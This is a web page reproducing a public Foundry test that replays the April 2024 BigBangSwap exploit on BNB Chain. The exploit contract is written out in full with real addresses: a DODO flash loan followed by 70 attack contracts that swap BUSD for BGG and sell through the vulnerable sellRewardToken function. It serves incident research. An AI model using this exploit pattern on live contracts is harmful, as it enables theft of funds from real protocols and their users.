Public reproduction file

src/test/2024-04/BigBangSwap_exp.sol

Public reproduction file for dataset entry BigBangSwap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/BigBangSwap_exp.sol117 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~5k $BUSD
5// Attacker : https://bscscan.com/address/0xc1b6f9898576d722dbf604aaa452cfea3a639c59
6// Attack Contract : https://bscscan.com/address/0xb22cf0e1672344f23f3126fbd35f856e961fd780
7// Created Attack Contract: https://bscscan.com/address/0xAB3D2f2D70deb75ac948F8f8A7136d0f90487cfe
8// Vulnerable Contract : https://bscscan.com/address/0xa45d4359246dbd523ab690bef01da06b07450030
9// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x94055664287a565d4867a97ba6d5d2e28c55d10846e3f83355ba84bd1b9280fc
10 
11// @Analysis
12// https://x.com/DecurityHQ/status/1778075039293727143
13 
14 
15import "forge-std/Test.sol";
16import "./../interface.sol";
17 
18interface IDPPAdvanced {
19    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
20}
21 
22interface ITransparentUpgradeableProxy {
23    function sellRewardToken(
24        uint256 amuont
25    ) external;
26}
27 
28contract ContractTest is Test {
29    IERC20 BGG = IERC20(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);
30    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
31    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
32    IPancakePair BUSD_BGG_LpPool_Pancake = IPancakePair(0x218674fc1df16B5d4F0227A59a2796f13FEbC5f2);
33    IPancakePair BUSD_BGG_LpPool_SwapRouter = IPancakePair(0x68E465A8E65521631f36404D9fB0A6FaD62A3B37);
34    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
35    IDPPAdvanced DODO = IDPPAdvanced(0x1B525b095b7353c5854Dbf6B0BE5Aa10F3818FaC);
36    ITransparentUpgradeableProxy TransparentUpgradeableProxy =
37        ITransparentUpgradeableProxy(0xa45D4359246DBD523Ab690Bef01Da06B07450030);
38 
39    AttackContract attackContract;
40 
41    function setUp() public {
42        vm.createSelectFork("bsc", 37_740_105 - 1);
43        vm.label(address(BGG), "BGG");
44        vm.label(address(BUSD), "BUSD");
45        vm.label(address(BUSD_BGG_LpPool_Pancake), "BUSD_BGG_LpPool_Pancake");
46        vm.label(address(BUSD_BGG_LpPool_SwapRouter), "BUSD_BGG_LpPool_SwapRouter");
47        vm.label(address(Router), "Router");
48        vm.label(address(DODO), "DODO");
49    }
50 
51    function testExploit() public {
52        BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));
53 
54        BUSD.approve(address(Router), type(uint256).max);
55        BGG.approve(address(TransparentUpgradeableProxy), type(uint256).max);
56 
57        emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));
58        DODO.flashLoan(50 * 1e18, 0, address(this), new bytes(1));
59        emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));
60    }
61 
62    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
63        for (uint256 i = 0; i < 70; i++) {
64            attackContract = new AttackContract();
65            BUSD.transfer(address(attackContract), 15 * 1e18);
66            attackContract.Attack();
67            attackContract.Claim();
68        }
69        BUSD.transfer(address(DODO), 50 * 1e18);
70    }
71 
72    fallback() external payable {}
73    receive() external payable {}
74}
75 
76contract AttackContract {
77    IERC20 BGG = IERC20(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);
78    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
79    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
80    IPancakePair BUSD_BGG_LpPool_Pancake = IPancakePair(0x218674fc1df16B5d4F0227A59a2796f13FEbC5f2);
81    IPancakePair BUSD_BGG_LpPool_SwapRouter = IPancakePair(0x68E465A8E65521631f36404D9fB0A6FaD62A3B37);
82    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
83    IDPPAdvanced DODO = IDPPAdvanced(0x1B525b095b7353c5854Dbf6B0BE5Aa10F3818FaC);
84    ITransparentUpgradeableProxy TransparentUpgradeableProxy =
85        ITransparentUpgradeableProxy(0xa45D4359246DBD523Ab690Bef01Da06B07450030);
86 
87    address owner;
88 
89    constructor() {
90        owner = msg.sender;
91        BUSD.approve(address(Router), type(uint256).max);
92        BGG.approve(address(TransparentUpgradeableProxy), type(uint256).max);
93    }
94 
95    modifier onlyOwner() {
96        require(msg.sender == owner, "Only owner can perform this action");
97        _;
98    }
99 
100    function Attack() external onlyOwner {
101        BUSDTOTOKEN();
102        TransparentUpgradeableProxy.sellRewardToken(BGG.balanceOf(address(this)));
103    }
104 
105    function Claim() external onlyOwner {
106        BUSD.transfer(owner, BUSD.balanceOf(address(this)));
107    }
108 
109    function BUSDTOTOKEN() internal {
110        address[] memory path = new address[](2);
111        path[0] = address(BUSD);
112        path[1] = address(BGG);
113        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
114            BUSD.balanceOf(address(this)), 0, path, address(this), block.timestamp
115        );
116    }
117}

Analysis

Dataset entry

Public Foundry test for “BigBangSwap” (2024-04-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xc1b6f9898576d722dbf604aaa452cfea3a639c59
Attack Contract
0xb22cf0e1672344f23f3126fbd35f856e961fd780
Vulnerable Contract
0xa45d4359246dbd523ab690bef01da06b07450030

Attack Tx
0x94055664287a565d4867a97ba6d5d2e28c55d10846e3f83355ba84bd1b9280fc

File record

Name: BigBangSwap
Path: src/test/2024-04/BigBangSwap_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 1aeb9c36407764ff00f54e5fc141d4654e523e7a
Language: Solidity
Size: 118 lines
Date: 2024-04-10
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-04/BigBangSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1aeb9c36407764ff00f54e5fc141d4654e523e7a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.